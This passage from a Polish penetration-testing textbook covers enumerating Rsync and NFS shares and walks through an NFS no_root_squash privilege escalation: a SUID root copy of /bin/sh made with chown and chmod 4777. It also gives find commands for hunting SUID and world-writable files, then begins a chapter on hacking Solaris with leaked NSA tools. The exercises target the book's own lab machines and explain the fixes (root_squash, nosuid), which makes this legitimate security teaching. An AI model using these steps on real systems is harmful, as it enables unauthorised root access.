wadzał wielokrotne testy spójności wszystkich pakietów. Nigdy nie udało się wykryć osoby lub or-
ganizacji odpowiedzialnej za ten atak.
Programu Rsync można używać (ale i nadużywać go) na wiele sposobów. Jeżeli na danym
hoście działa demon Rsync i nasłuchuje nadchodzących połączeń, to domyślnie korzysta on
z portu TCP 873. Aby dowiedzieć się więcej o tym programie, możesz przejrzeć zawartość strony
http://rsync.samba.org/how-rsync-works.html.
Za pomocą polecenia rsync uzupełnionego adresem URI możesz od razu odwołać się do wy-
branego zasobu Rsync.
rsync rsync://<AdresIP>

3681988c430c7fe1e8567c4e2f281f7b
3
318 Rozdział 9  Pliki i współdzielenie plików

W ten sposób można uzyskać pewne informacje oraz listę folderów udostępnianych przez
usługę Rsync. Poniżej prezentujemy przykładowe informacje zwracane przez zapytanie wysłane do
laboratorium naszej książki:
data backupsrv data
home user home

Mamy tutaj dwa zasoby, do których można uzyskiwać dostęp: data i home. Aby skorzystać
z zasobu data, możesz wpisać następujący adres URI:
rsync rsync://<AdresIP>/data

W ten sposób wypiszesz wszystkie pliki i foldery znajdujące się w tym katalogu. Jeżeli teraz
użyjesz polecenia rsync rsync://<AdresIP>/home, podając adres tego samego hosta, to zobaczysz
poniższą listę katalogów:
drwxr-xr-x 101 2017/03/06 23:11:41 .
drwx------ 66 2017/03/06 23:11:41 clairea
drwx------ 66 2017/03/06 23:11:40 jennyw
drwx------ 66 2017/03/06 23:11:38 johnp
drwxr-xr-x 79 2017/03/06 23:11:43 peterk
drwx------ 66 2017/03/06 23:11:41 sarahk
drwx------ 66 2017/03/06 23:11:40 stephena

Przyglądając się powyższemu wydrukowi, można zauważyć, że mamy tu pewne uprawnienia

do wyświetlanych katalogów. Na początku tego rozdziału mówiliśmy, że uprawnienia do plików
dzielą się na prawa użytkowników, grup i innych (chodzi o konta niebędące właścicielem pliku
i nienależące do zdefiniowanej grupy). Podczas pracy z serwisem sieciowym te uprawnienia mają
bardzo duże znaczenie. Jeżeli spróbujesz uzyskać dostęp do katalogu użytkownika clairea, to zo-
baczysz poniższy komunikat o błędzie:
rsync: change_dir "/clairea" (in home) failed: Permission denied (13)
rsync error: some files/attrs were not transferred (see previous errors)
(code 2 3) at main.c(1677) [Receiver=3.1.3]
rsync: read error: Connection reset by peer (104)

Przyjrzyj się jeszcze raz informacjom o uprawnieniach, a zobaczysz, że użytkownik peterk ma

uprawnienia do odczytywania i wykonywania zarówno dla grupy, jak i dla innych użytkowników
systemu. Za pomocą programu Rsync nie odczytasz danych właściciela ani grupy, ale mimo to mo-
żesz wykorzystać te niezwykle szerokie uprawnienia do odczytywania plików. Użyj zatem polecenia
rsync rsync://<AdresIP>/home/peterk/, a zobaczysz listę plików znajdujących się w katalogu
głównym tego użytkownika, które mogą zawierać różne istotne dane. Przykład takiej listy plików
możesz zobaczyć poniżej:
root@kali:~# rsync rsync://192.168.48.105/home/peterk/
drwxr-xr-x 79 2017/03/06 15:11:43 .
-rw-r--r-- 220 2016/11/05 14:19:12 .bash_logout
-rw-r--r-- 3,392 2014/03/03 15:05:09 .bashrc
-rw-r--r-- 41 2017/03/06 15:11:43 .plan
-rw-r--r-- 675 2016/11/05 14:19:12 .profile

3681988c430c7fe1e8567c4e2f281f7b
3
System NFS 319

Jak widać, uprawnienia do plików są szczególnie ważne, jeżeli chodzi o pliki udostępniane
w ramach udziału sieciowego, ponieważ można w ten sposób niechcący ujawnić ważne i tajne in-
formacje. Przejrzyj dokładniej pliki udostępniane przez tego użytkownika w laboratorium naszej
książki. Być może znajdziesz coś ciekawego, co można by umieścić w pliku .plan.
Dobrze jest też przejrzeć stronę podręcznika man poświęconą programowi Rsync. To naprawdę
rozbudowany dokument zawierający wiele informacji na temat zaawansowanych sposobów użycia
tego narzędzia oraz wiele przykładów. Jeżeli chcesz skonfigurować demona Rsync w maszynie wir-
tualnej Ubuntu, przejrzyj też stronę podręcznika man poświęconą plikowi rsyncd.conf.

System NFS
SMB jest standardem udostępniania plików przygotowanym przez firmę Microsoft, natomiast sys-
tem NFS można traktować jako odpowiednik tego standardu w świecie systemów uniksowych. NFS
jest protokołem pierwotnie przygotowanym przez firmę Sun Microsystems. Pierwsza wersja pro-
tokołu była używana wyłącznie przez samą firmę, ale już kolejne wersje, NFSv2, NFSv3 i NFSv4,
zostały wydane jako protokoły otwarte. W systemie Kali Linux możesz zainstalować pakiet
nfs-common, aby uzyskać dostęp do klienta NFS oraz wielu różnych narzędzi.
W maszynie wirtualnej Ubuntu możesz też zainstalować pakiet nfs-kernel-server. Ten pakiet
pozwoli uruchomić w maszynie wirtualnej serwis NFS, co umożliwi przeprowadzenie pewnych
działań przeciwko temu serwisowi. Zwróć uwagę na to, że serwis NFS działa już w laboratorium
naszej książki. Możesz też użyć narzędzia o nazwie showmount razem z opcją -e, aby wyświetlić listę
eksportów danego serwera, czyli listę udziałów, które można zamontować z tego serwera. Spróbuj
użyć polecenia showmount -e <AdresIP>, podając mu adres laboratorium tej książki. Zobaczysz
wtedy taką odpowiedź:
Export list for 192.168.48.105:
/data *
/home 1.3.3.7/24

W powyższych danych wypisane zostały nazwy dwóch katalogów (można je zamontować

w swoim systemie) uzupełnione o kilka dodatkowych znaków. Znak gwiazdki (*) widoczny obok
katalogu /data jest (cóż za niespodzianka) znakiem wieloznacznym, który oznacza, że dany udział
może zostać zamontowany bez żadnych ograniczeń. Przy katalogu /home wypisany jest adres IP
zapisany w notacji CIDR (Classless Inter-Domain Routing) — 1.3.3.7/24, co oznacza, że dowolny
host z tego zakresu adresowego może połączyć się z tym udziałem.
Do zamontowania zdalnego katalogu, na przykład przedstawionego wcześniej katalogu /data,
możesz użyć poniższego polecenia:
mount <AdresIP>:/data /mnt/data

Podobnie jak w przypadku montowania udziałów Samby, /mnt/data jest lokalnym katalogiem,
do którego montowany jest katalog zdalny, dlatego też musi on istnieć w maszynie wirtualnej Kali
Linux. Musisz zatem utworzyć teraz ten folder, jeżeli jeszcze nie ma go w systemie. Interesujący Cię
udział możesz montować też w katalogu ~/zamontowane_data albo w dowolnym innym. Używany
lokalnie folder może nosić całkowicie dowolną nazwę. Po uzyskaniu połączenia program mount

3681988c430c7fe1e8567c4e2f281f7b
3
320 Rozdział 9  Pliki i współdzielenie plików

wyświetli informacje na temat użytych opcji, w tym i informacje o zabezpieczeniach, które obowią-
zują w eksportowanym katalogu.
Po zamontowaniu zdalnego katalogu możesz rozpocząć poszukiwanie folderów, w których
masz prawa do zapisywania nowych plików. Jeżeli jako użytkownik root możesz użyć polecenia
touch, aby utworzyć nowy plik w systemie Kali Linux, w katalogu /mnt/data (albo innym, wybra-
nym do zamontowania zdalnego eksportu NFS), to zobaczysz, że właścicielem tego pliku jest użyt-
kownik root. Już widzisz, jaki to problem? Atakowany serwer zaufał klientowi (naszej maszynie
wirtualnej Kali Linux) i pozwolił na utworzenie pliku, którego właścicielem jest użytkownik root.
Sprawdźmy zatem, co możemy zrobić w tej sytuacji.

Podniesienie uprawnień w systemie NFS

Zakładamy tu, że udało Ci się już uzyskać dostęp do zdalnego systemu, choć nie masz jeszcze
uprawnień użytkownika root. Sprawdzimy teraz, jak można podnieść swoje uprawnienia, urucha-
miając jako zwykły użytkownik kopię pliku /bin/sh (to plik wykonywalny uruchamiający powłokę),
która dodatkowo ma ustawiony bit SUID i której właścicielem jest użytkownik root. Oznacza to,
że po uruchomieniu tego pliku uzyskasz dostęp do powłoki z efektywnym identyfikatorem użyt-
kownika (EUID — Effective User ID) root. Na początek upewnij się, że zdalny katalog data (lub
inny katalog z możliwością zapisywania) został zamontowany zgodnie z procedurą podaną w po-
przednim podrozdziale.
W tym miejscu trzeba użyć innego exploitu, aby uzyskać dostęp do powłoki bez uprawnień
użytkownika root. Dowolny exploit, którego używaliśmy do tej pory, aby uzyskać dostęp do po-
włoki (bez praw użytkownika root), będzie wystarczający do ćwiczenia tej techniki umożliwiającej
podniesienie swoich uprawnień. Exploit SambaCry nie będzie tu dobrym przykładem, ponieważ
on daje natychmiastowy dostęp do powłoki z uprawnieniami użytkownika root, a zatem nie ma już
potrzeby dalszego podnoszenia uprawnień. Być może znasz już nazwę użytkownika i hasło (albo
udało Ci się uzyskać hasło metodami siłowymi, za pomocą programu Hydra) i masz dostęp do
usługi, która pozwoli Ci zalogować się do powłoki jako zwykły użytkownik. Na przykład możesz
siłowo odgadnąć hasło użytkownika backupsrv i połączyć się z powłoką za pomocą usługi Telnet.
Po zalogowaniu się na docelowym komputerze sprawdź za pomocą id, jakiego identyfikatora
użytkownika aktualnie używasz. Z pewnością stwierdzisz, że nie masz identyfikatora użytkownika
root, ale zupełnie innego użytkownika, na przykład peterk. Teraz utwórz kopię pliku /bin/sh.
Możesz skopiować plik sh z katalogu /bin swojej maszyny wirtualnej Kali Linux, umieszczając go
w zamontowanym katalogu /data. Lepiej będzie jednak skopiować plik /bin/sh bezpośrednio
w zdalnym systemie. Skopiowanemu plikowi możesz nadać dowolną nazwę, a w poniższym przy-
kładzie używamy krzykliwej nazwy exploit. Poniższe polecenie powinno zostać uruchomione
w zdalnym systemie:
cp /bin/sh ./exploit

Możesz też użyć polecenia ls, aby sprawdzić aktualnego właściciela i uprawnienia do tego pliku:
ls -al exploit

3681988c430c7fe1e8567c4e2f281f7b
3
Podniesienie uprawnień w systemie NFS 321

Z pewnością zauważysz, że właścicielem tego pliku jest aktualnie zalogowany użytkownik, po-
nieważ w jego imieniu wykonano właśnie kopiowanie. Możesz uruchomić skopiowany plik, ale to
nie spowoduje zmiany znaku zachęty z $ (dla zwykłych użytkowników) na znak # (dla użytkownika
root). Nadal zostajesz z uprawnieniami tego samego użytkownika. Wygląda na to, że niewiele udało
się osiągnąć. Teraz musisz jeszcze zmienić właściciela pliku exploit na użytkownika root, a następ-
nie włączyć dla tego pliku bit SUID. Te zmiany można wykonać wyłącznie z uprawnieniami użyt-
kownika root, dlatego trzeba teraz wrócić do maszyny wirtualnej Kali Linux i przyjrzeć się temu
samemu plikowi w katalogu data. (Do tej pracy potrzebne będą dwa okna terminala do wykony-
wania poleceń zarówno w systemie Kali Linux, jak i w atakowanym systemie). Możesz to zrobić za
pomocą polecenia ls -al /mnt/data, które powinno wypisać poniższe informacje:
total 133
drwxr-xr-x 2 1006 1006 60 Jul 10 19:59 .
drwxr-xr-x 3 root root 4096 Jul 10 17:01 ..
-rw-r--r-- 1 1006 1006 220 Nov 5 2016 .bash_logout
-rw-r--r-- 1 1006 1006 3392 Mar 3 2014 .bashrc
-rwxr-xr-x 1 1006 1006 124492 Jul 10 19:59 exploit
-rw-r--r-- 1 1006 1006 675 Nov 5 2016 .profile

Teraz użyj polecenia chown, aby zmienić właściciela i grupę na użytkownika root, tak jak poniżej:
chown root:root exploit

Teraz możesz nadać uprawnienia do wykonywania pliku wszystkim grupom i użytkownikom

oraz ustawić bit SUID. W ten sposób plik będzie wykonywany z uprawnieniami jego właściciela,
czyli użytkownika root. Dzięki temu, że zdalny udział udostępniany przez system NFS nie unie-
możliwia tworzenia plików, których właścicielem jest użytkownik root, nasz plik będzie we władaniu
tego użytkownika. Ustaw bit SUID i nadaj uprawnienia do odczytywania, zapisywania i wykonywania
pliku właścicielowi, grupie i pozostałym (pamiętaj, że termin „pozostali” oznacza użytkowników nie-
będących właścicielem pliku oraz nienależących do podanej grupy). Użyj do tego poniższego polecenia:
chmod 4777 exploit

Jeżeli teraz wypiszesz zawartość aktualnego katalogu, to zobaczysz, że wiersz pliku exploit otrzy-
mał kolor ostrzegawczy, ponieważ ta kombinacja ustawień jest potencjalnie niebezpieczna (a takie
mieliśmy zamiary). Na poniższym wydruku można zobaczyć, jak powinny wyglądać uprawnienia
do tego pliku. Zauważ, że uprawnienie x (wykonywanie) zostało zastąpione uprawnieniem s (zostało
wyróżnione), co oznacza, że ustawiony jest bit SUID.
total 133
drwxr-xr-x 2 1006 1006 60 Jul 10 19:59 .
drwxr-xr-x 3 root root 4096 Jul 10 17:01 ..
-rw-r--r-- 1 1006 1006 220 Nov 5 2016 .bash_logout
-rw-r--r-- 1 1006 1006 3392 Mar 3 2014 .bashrc
-rwsrwxrwx 1 root root 124492 Apr 10 19:59 exploit
-rw-r--r-- 1 1006 1006 675 Nov 5 2016 .profile

Na koniec przejdź na terminal do zdalnego systemu i uruchom plik ./exploit. Powinno to spo-
wodować natychmiastową zmianę znaku zachęty z $ na #. Jeżeli tak się nie stanie, to spróbuj uru-
chomić go ponownie, dodając opcję -p, aby zachować swoje uprawnienia. Jest to dodatkowa funk-
cja dodawana do niektórych interpreterów powłoki, takich jak bash. Jeżeli teraz użyjesz polecenia
id, zobaczysz, że nadal jesteś zalogowany jako ten sam użytkownik, ale tym razem wartość EUID
to 0, czyli wartość użytkownika root!

3681988c430c7fe1e8567c4e2f281f7b
3
322 Rozdział 9  Pliki i współdzielenie plików

Jeżeli teraz na zdalnym serwerze uruchomisz polecenie cat /etc/exports, to zobaczysz pewne
opcje przy niektórych udziałach NFS. Katalog /data będzie miał opcję no_root_squash, natomiast
katalog /home będzie miał przypisaną opcję root_squash. To właśnie dzięki opcji no_root_squash
mogliśmy zapisać plik w udziale jako użytkownik root. Jak można się domyślać, opcja root_squash
uniemożliwia takie operacje. Po zamontowaniu katalogu /home nie moglibyśmy utworzyć w nim
pliku, którego właścicielem byłby użytkownik root.
Administrator systemu może też tak skonfigurować udział NFS, żeby właścicielem każdego
udostępnianego pliku był nobody, co oznacza, że pliki nie mają właściciela. Istnieje też możliwość
zablokowania przesyłania plików na udział i uruchamiania plików z ustawionym bitem SUID.
W tym celu należałoby się posłużyć opcją nosuid. Nie potrzebowaliśmy hasła, żeby uzyskać dostęp
do tego udziału sieciowego, ale do przeprowadzenia ataku musieliśmy się zalogować na zdalny sys-
tem, aby w ogóle mieć możliwość uruchomienia zmanipulowanego pliku.

Poszukiwanie przydatnych plików

W każdym zaatakowanym systemie, do którego uda się uzyskać dostęp bez uprawnień użytkow-
nika root, można skorzystać z przydatnego polecenia umożliwiającego poszukiwanie plików, które
mogłyby ułatwić uzyskanie dostępu do konta użytkownika root. W poprzednich rozdziałach do-
wiedzieliśmy się, jak można szukać znanych podatności związanych z błędami w jądrze systemu
albo umożliwiających uzyskanie uprawnień użytkownika root w programie działającym w prze-
strzeni użytkownika (to przestrzeń systemowa znajdująca się poza jądrem). Ta technika pozwala na
wyszukanie w atakowanym systemie plików, w których ustawiony jest bit SUID. To znaczy, że takie
pliki będą zawsze uruchamiane z uprawnieniami użytkownika będącego ich właścicielem. Gdy
tylko uzyskasz dostęp do powłoki na zdalnym hoście, spróbuj wpisać poniższe polecenie:
find / -perm 4000 ! -type l 2>/dev/null

To polecenie zaczyna poszukiwanie plików w całym systemie plików, zaczynając od katalogu

podstawowego (/). Opcji -perm (skrót od słowa permission, czyli uprawnienie) przypisano wartość
4000, co oznacza, że zwracane będą wyłącznie pliki z włączonym bitem SUID. Znak wykrzyknika
jest logicznym operatorem negacji. Poprzedza on opcję -type, która otrzymuje wartość 1, oznacza-
jącą dowiązania symboliczne. Podczas sprawdzania uprawnień nie interesuje nas ten typ plików,
ponieważ nie odzwierciedlają one dokładnie plików binarnych, z którymi są powiązane. W tej me-
todzie nie da się użyć dowiązań symbolicznych do podniesienia swoich uprawnień w systemie.
To właśnie dlatego używamy kombinacji opcji -type z operatorem negacji, aby poszukiwać plików,
które nie są typu 1. Na zakończenie polecenia znaki 2> oznaczają przekierowanie wszystkich da-
nych ze strumienia błędów stderror do pliku o nazwie /dev/null, który nazywany jest też urządze-
niem zerowym (ang. null device). W ten sposób pozbywamy się komunikatów o błędach, które nie
będą wyświetlane w oknie terminala.
Jeżeli uda się nam wyszukać pliki, które będą uruchamiane z prawami użytkownika root
i można im przekazywać różne parametry, takie jak pliki, to oznacza, że te pliki będą odczytywane
przez użytkownika root. Dla każdego znalezionego tu pliku należy też przeszukać bazę danych po-
datności, na przykład w programie Searchsploit. W podobny sposób można też szukać plików
uruchamianych z uprawnieniami określonej grupy. Takie pliki mają ustawiony bit SGID, a kod ich
uprawnień to 2000.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 323

Z kolei polecenie find / -perm -002 ! -type l 2>/dev/null rozpoczyna poszukiwanie plików,
które mogą być zapisywane przez każdego użytkownika, i zwykle zwraca całkiem sporo trafień. Jak
widać, przydatne są nie tylko pliki z ustawionymi bitami SUID i SGID. Przydatny może być każdy
plik w zdalnym systemie, do którego możemy zapisywać dane, dlatego podczas rekonesansu w ba-
danym systemie warto poszukać i takich plików. Dobrze jest też szukać takich plików, które umoż-
liwiają uruchamianie poleceń albo pozwalają na zmianę konfiguracji różnych usług.
Za pomocą takich poleceń możesz wyszukać plik, który będzie poddawał się edycji, a jednocze-
śnie będzie miał jakiś wpływ na atakowany system. Może da się go wykorzystać do uruchamiania
poleceń z uprawnieniami innego użytkownika (niekoniecznie musi to być użytkownik root),
a może jest on używany przez program działający z większym zakresem uprawnień. W następnym
rozdziale przyjrzymy się usłudze pochodzącej z systemu UNIX, do której można się włamać za
pomocą istniejącego w systemie pliku.

Podsumowanie
Jeżeli brakowało Ci doświadczenia w pracy z bitami trybu pliku i bitami uprawnień, to po przeczy-
taniu tego rozdziału z pewnością znacznie skuteczniej umiesz interpretować uprawnienia przypi-
sane do danego pliku. Upewnij się, że dobrze rozumiesz możliwości, jakie dają uprawnienia do
plików. Poćwicz też zmienianie tych uprawnień i sprawdź, co możesz zrobić po zalogowaniu się
jako różni użytkownicy albo jako użytkownik nobody. Poeksperymentuj z maszyną wirtualną
Ubuntu lub inną, konfigurując w niej konta użytkowników oraz udziały sieciowe i zmieniając kon-
figuracje usług Samba i NFS, aby zobaczyć, co można w ten sposób uzyskać. Przeznacz trochę czasu
na lekturę stron podręcznika man poświęconych różnym demonom i poleceniom, aby zapoznać
się ze szczegółami ich działania.
Gdy zaczniesz częściej używać polecenia chmod w połączeniu z ósemkowym zapisem uprawnień
do plików (na przykład 744 lub 600), stanie się ono znacznie czytelniejsze. Trzeba tylko zapamiętać,
że zawsze najpierw jest odczytywanie (4), potem zapis (2), a na końcu wykonywanie (1), a wszystko
umieszczone jest w trzech kolumnach dla właściciela, grupy i innych. W ten sposób możesz już
łatwo wyliczyć wartości, aby uzyskać niezbędne uprawnienia. Wystarczy tylko odpowiednio dodać
czwórkę, dwójkę i jedynkę. Chcesz, żeby tylko właściciel mógł odczytywać dany plik? No dobrze,
odczyt to 4, a skoro nie potrzeba nam zapisywania i wykonywania, to w kolumnie właściciela
umieszczamy tę wartość. Jeżeli nie chcemy, żeby grupa i inni użytkownicy mieli jakiekolwiek prawa
do pliku, to ich kolumny otrzymają wartość 0. A zatem ostateczna wartość uprawnienia to 400.
Pamiętaj, że zawsze możesz zmienić właściciela pliku za pomocą polecenia chown. Na przykład po-
niższe polecenie zmienia właściciela pliku oraz grupę na admin:
chown admin:admin plik.txt

Jeżeli chodzi o system NFS, to warto przyjrzeć się plikowi exports (/etc/exports), aby poznać
zasady udostępniania plików w sieci. Być może trzeba będzie wyjaśnić klientowi, dlaczego zastoso-
wanie opcji no_root_squash oraz brak opcji nosuid może powodować poważne problemy! Podob-
nie ujawnienie uprawnień do plików przez system Rsync umożliwia zdalne przeglądanie konfigu-
racji systemu plików. Przejdź do następnego rozdziału, jeśli już dobrze znasz podstawy uprawnień
do plików oraz zasady działania wywołań RPC, ponieważ teraz zaczniemy dokładniej analizować
obie te koncepcje.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

10
UNIX

Jak dotąd skupialiśmy się na hostach działających pod kontrolą systemu Linux i na krótko zajrze-
liśmy w świat systemów firmy Microsoft. Teraz przyjrzymy się systemowi operacyjnemu starszemu
niż Linux, czyli systemowi UNIX. Znalezienie różnicy między tymi systemami wcale nie jest łatwe,
a w wielu przypadkach nie ma tak naprawdę żadnej różnicy, ponieważ wiele narzędzi i programów,
które powstały na potrzeby systemu UNIX, z czasem zostało przeniesionych do świata systemu
GNU/Linux. W tym rozdziale wykorzystamy rzeczywiste środowisko uniksowe w postaci systemu
Solaris 10, które pozwoli nam wykonywać różne działania hakerskie. Zaprezentujemy też kilka spo-
sobów na odtworzenie pewnych usług z systemu UNIX w swojej dystrybucji Linuksa, na przykład
w używanej do tej pory maszynie wirtualnej Ubuntu. Jak już wspominaliśmy w rozdziale 3. „Przy-
gotowanie narzędzi do hakowania”, istnieją bezpłatne dystrybucje Uniksa udostępniane na zasa-
dach otwartych źródeł, które można wykorzystać do przeprowadzania testów. Jedną z nich udo-
stępniamy w postaci laboratorium przygotowanego na potrzeby tego rozdziału. Istnieje też kilka
płatnych dystrybucji Uniksa używanych w różnych komercyjnych środowiskach, które powstały
w wyniku prac takich firm jak Hewlett-Packard, IBM lub Oracle. Każda z tych firm udostępnia
własną markę systemu UNIX, która zwykle połączona jest z umowami serwisowymi oraz wspar-
ciem technicznym. W efekcie takie dystrybucje są znacznie bardziej popularne od systemów o otwar-
tych źródłach, takich jak Linux, ponieważ używające je firmy wymagają ciągłego wsparcia dla sys-
temu ze strony producenta.

Administrowanie systemem UNIX

Jeżeli chcesz zacząć hakować system UNIX, to musisz zacząć myśleć jak administrator tego sys-
temu. Przyjrzymy się tutaj różnym narzędziom administracyjnym, z których korzysta każdy admi-
nistrator systemu. My jednak wykorzystamy te narzędzia do uzyskania dostępu do tych obszarów
systemu, które na razie są poza naszym zasięgiem. Jeżeli nie znasz jeszcze (czasem naprawdę subtelnych)

324

3681988c430c7fe1e8567c4e2f281f7b
3
Solaris 325

różnic między Linuksem, Uniksem i kilkoma innymi wariantami systemów uniksowych, to pole-
camy przejrzeć witrynę „Sysadmin’s Unixersal Translator (ROSETTA STONE)” dostępną pod ad-
resem https://bhami.com/rosetta.html. Załóżmy, że chcesz się dowiedzieć, jak wykonać określone
zadanie w wybranym systemie uniksowym, takim jak AIX firmy IBM. Przyjmijmy, że chcesz uru-
chomić w tym systemie polecenie uname, ale ono nie chce działać. Zamiast niego można wypróbo-
wać inne, równoważne polecenia. Na stronie Rosetta Stone znajdziesz informację, że w systemie
IBM AIX to zadanie można wykonać za pomocą poleceń prtconf, lsconf i innych. Jeżeli znasz już
jeden z systemów uniksowych lub linuksowych, to na tej stronie znajdziesz informacje o tym, jak
postępować w innych wariantach systemu.

W firmie Hacker House przekształciliśmy tabelę ze strony Rosetta Stone w bazę

danych SQLite, którą możesz pobrać ze strony https://github.com/hackerhouse-opensource/
tools/blob/master/rosetta.db. Przydaje się ona w sytuacji, gdy przyjdzie nam pracować w sieci
bez połączenia z internetem. Zamiast poszukiwać danych w tabeli, można po prostu odwołać
się do bazy danych, aby uzyskać niezbędne informacje.

Solaris
W tym rozdziale przedstawimy kilka przykładów z dystrybucji Uniksa o nazwie Solaris, która po-
wstała w firmie Sum Microsystems, wchłoniętej przez Oracle w 2010 roku. Ten konkretny wariant
Uniksa jest szczególnie interesujący, ponieważ z powodu jego popularności wykryto w nim wiele
ciekawych błędów i podatności. Jeżeli ktoś pracował z tym systemem pod koniec lat 90. XX wieku
albo na początku XIX stulecia, a system był podłączony do internetu, to bardzo prawdopodobne
było, że taki komputer był wielokrotnie przejmowany przez różne osoby i organizacje.
Był to okres wzmożonej aktywności hakerów, którzy upodobali sobie ataki na systemy uniksowe.
Można sobie pomyśleć, że firma Sun Microsystems odpowiedzialna za rozwój tego systemu opera-
cyjnego nie przykładała się zbytnio do pracy. Trzeba jednak pamiętać, że ta firma zrobiła bardzo
dużo dobrego dla świata komputerów. To w niej powstał system operacyjny Solaris. To firma Sun
zaprojektowała między innymi język programowania Java, a także sieciowy system plików NFS,
architekturę procesorów SPARC (Scalable Processor Architecture), czyli pierwszą architekturą pro-
cesorów RISC, która odniosła komercyjny sukces. W firmie Sun Microsystems powstał też format
danych XDR (External Data Representation), który jest podstawowym formatem używanym przez
wiele protokołów przesyłających dane między różnymi systemami. Używają go na przykład systemy
NFS oraz ONC RPC. Najnowsza wersja dokumentu RFC opisująca ten format to RFC 4506.
W 2005 roku pojawiła się otwarta wersja systemu Solaris, która otrzymała nazwę OpenSolaris,
a potem niestety nie była dalej rozwijana. Oznaczało to, że każdy mógł przejrzeć kod źródłowy sys-
temu i poznać rządzące nim zasady. (Jeden z autorów tej książki zdecydowanie za dużo czasu po-
święcił na przeglądanie tego kodu i szukanie w nim błędów). System OpenSolaris miał wspaniale
napisane jądro systemu, dlatego warto poświęcić trochę czasu, żeby przejrzeć jego kod i poznać
mechanizmy działania tego systemu. Mimo tak doskonałego jądra pozostałe części systemu zawie-
rały wiele błędów i podatności, a te są dla nas najbardziej interesujące.
W dalszej części książki, gdy będziemy podawać przykłady działania systemu Solaris, będziemy
odnosić się do wersji Solaris 10, a konkretniej do wersji 10 6/06 x86, która będąc własnością firmy
Sun Microsystems, nosiła również nazwę SunOS 5.10 w architekturze x86. Na ogół systemy operacyjne

3681988c430c7fe1e8567c4e2f281f7b
3
326 Rozdział 10  UNIX

Solaris działają na komputerach SPARC, ale prezentowane tutaj metody i narzędzia zazwyczaj można
swobodnie wymieniać między wersjami systemu, być może po wprowadzeniu niewielkich poprawek.
Poznasz tutaj kilka narzędzi, które powstały specjalnie po to, żeby sondować ten system operacyjny
i wykorzystywać istniejące w nim błędy. My przygotowaliśmy maszynę wirtualną na potrzeby tego
rozdziału, która umożliwia testowanie exploitów oraz prezentowanych tu poleceń. Nie jest to jed-
nak plik ISO, taki jak używane we wcześniejszych rozdziałach tej książki. Tym razem system jest do-
starczany jako urządzenie wirtualne (ang. appliance), które należy zaimportować do VirtualBoksa.
Plik OVA możesz pobrać z adresu www.hackerhousebook.com/hh-unixserver-v1-vbox.ova. Po po-
braniu tego pliku otwórz VirtualBox i wybierz z menu pozycję Plik/Importuj urządzenie wirtualne….
W otwartym oknie dialogowym kliknij ikonę z folderem, a następnie wyszukaj pobrany plik OVA.
Zaznacz go i kliknij przycisk Importuj. Po kilku minutach w oknie VirtualBoksa powinna pojawić
się nowa maszyna wirtualna. Zmień w niej ustawienia karty sieciowej, tak aby korzystała z sieci
wewnętrznej hosta, tak samo jak używane wcześniej laboratoria z plików ISO. Ten obraz systemu
został pobrany z instalacji systemu OpenSolaris i zawiera w sobie wszystkie podatności, o których
będziemy mówić w tym rozdziale. Jeżeli na potrzeby tego rozdziału zbudujesz sobie własny host
z systemem OpenSolaris, to pamiętaj, że część opisywanych tu podatności załatano w najnowszych
wersjach systemu, dlatego prezentowane ataki mogą nie działać bez wprowadzenia specjalnych
zmian w konfiguracji systemu. Po uruchomieniu maszyny wirtualnej pojawi się system z zalo-
gowanym użytkownikiem, taki jak na rysunku 10.1, z adresem IP widocznym w oknie terminala.
Od razu możesz zacząć używać tego pulpitu, jednak postaraj się nie zaczynać, zanim nie przeczytasz
niniejszego rozdziału, w którym zaprezentujemy wiele sposobów włamania się na tego hosta.

Rysunek 10.1. Typowy pulpit systemu Solaris

3681988c430c7fe1e8567c4e2f281f7b
3
Narzędzia do hakowania systemu Unix 327

Gdy chcesz zakończyć pracę z tą maszyną wirtualną, musisz ją poprawnie zamknąć za pomocą
polecenia /usr/sbin/shutdown -y. Jeżeli tego nie zrobisz, może dojść do uszkodzenia wirtualnego
dysku, w związku z czym konieczne będzie ponowne zaimportowanie urządzenia wirtualnego.
Wspomniane polecenie może zostać uruchomione wyłącznie przez użytkownika root, a niezbędny
poziom uprawnień uzyskasz, hakując ten system zgodnie z przykładami podawanymi w tym roz-
dziale. To częsty problem ze starszymi systemami operacyjnymi, ponieważ nie najlepiej radzą one
sobie z nieoczekiwanym zakończeniem pracy lub z awariami. Trzeba zawsze pamiętać o możliwo-
ści spowodowania takich problemów podczas sondowania systemów należących do klienta, aby nie
spowodować awarii pracy sieci.

Narzędzia do hakowania systemu Unix

Niemal wszystkie techniki, jakie pokazaliśmy podczas hakowania hostów z systemem Linux, będzie
można wykorzystać również tutaj. Host uniksowy może służyć jako serwer WWW, serwer pocz-
towy lub DNS, a zatem i w jego przypadku można wykorzystać te same narzędzia, o których mó-
wiliśmy już wcześniej. W tym rozdziale zaprezentujemy również kilka narzędzi współpracujących
z systemem X Window, które umożliwiają przejmowanie kontroli nad kamerami podłączonymi do
sieci i wykonywanie zrzutów ekranu ze zdalnych hostów. Przyjrzymy się też narzędziom, które
w czasach świetności systemu Solaris były używane przez administratorów systemów uniksowych,
takim jak R-service lub Telnet. Tego rodzaju narzędzia i serwisy nie powinny być już dostępne, ale
od czasu do czasu nadal można się na nie natknąć. Sprawdzimy też działanie kilku narzędzi, które
podobno zostały napisane przez agencję NSA i z całą pewnością nigdy nie miały być dostępne pu-
blicznie, choć teraz każdy ma do nich dostęp!
Oto lista wybranych narzędzi, o których będziemy dyskutować w tym rozdziale:
 „Klasyczne” narzędzia administracyjne, takie jak Telnet, Finger i Cron.
 Narzędzia RPC, takie jak RPCinfo oraz EBBSHAVE, czyli exploit pochodzący
z agencji NSA.
 Programy klienckie usług R-services.
 Narzędzia protokołu SNMP, takie jak OneSixtyOne, SNMPcheck i Ewok będący
produktem agencji NSA.
 Narzędzia dla systemu X Window, na przykład Xwd, Wdotool, Wwininfo i Xspy.

W pewnym momencie ujawniono pewną liczbę narzędzi o zamkniętych źródłach,

które przypisywane są agencji NSA. Teraz są one dostępne publicznie dla każdego zaintere-
sowanego. Nie da się jednoznacznie potwierdzić, czy rzeczywiście są one produktem tej
agencji, ale z całą pewnością pochodzą z domeny code.nsa.gov. Pod tym adresem znaj-
dziesz kilka programów o otwartych źródłach, które na pewno są produktem agencji NSA.

3681988c430c7fe1e8567c4e2f281f7b
3
328 Rozdział 10  UNIX

Skanowanie portów w systemie Solaris

Oto wynik prostego skanowania portów (nmap <AdresIP>) systemu Solaris 10 działającego w ma-
szynie wirtualnej. W tym rozdziale będziemy kolejno analizować różne porty z tej listy.
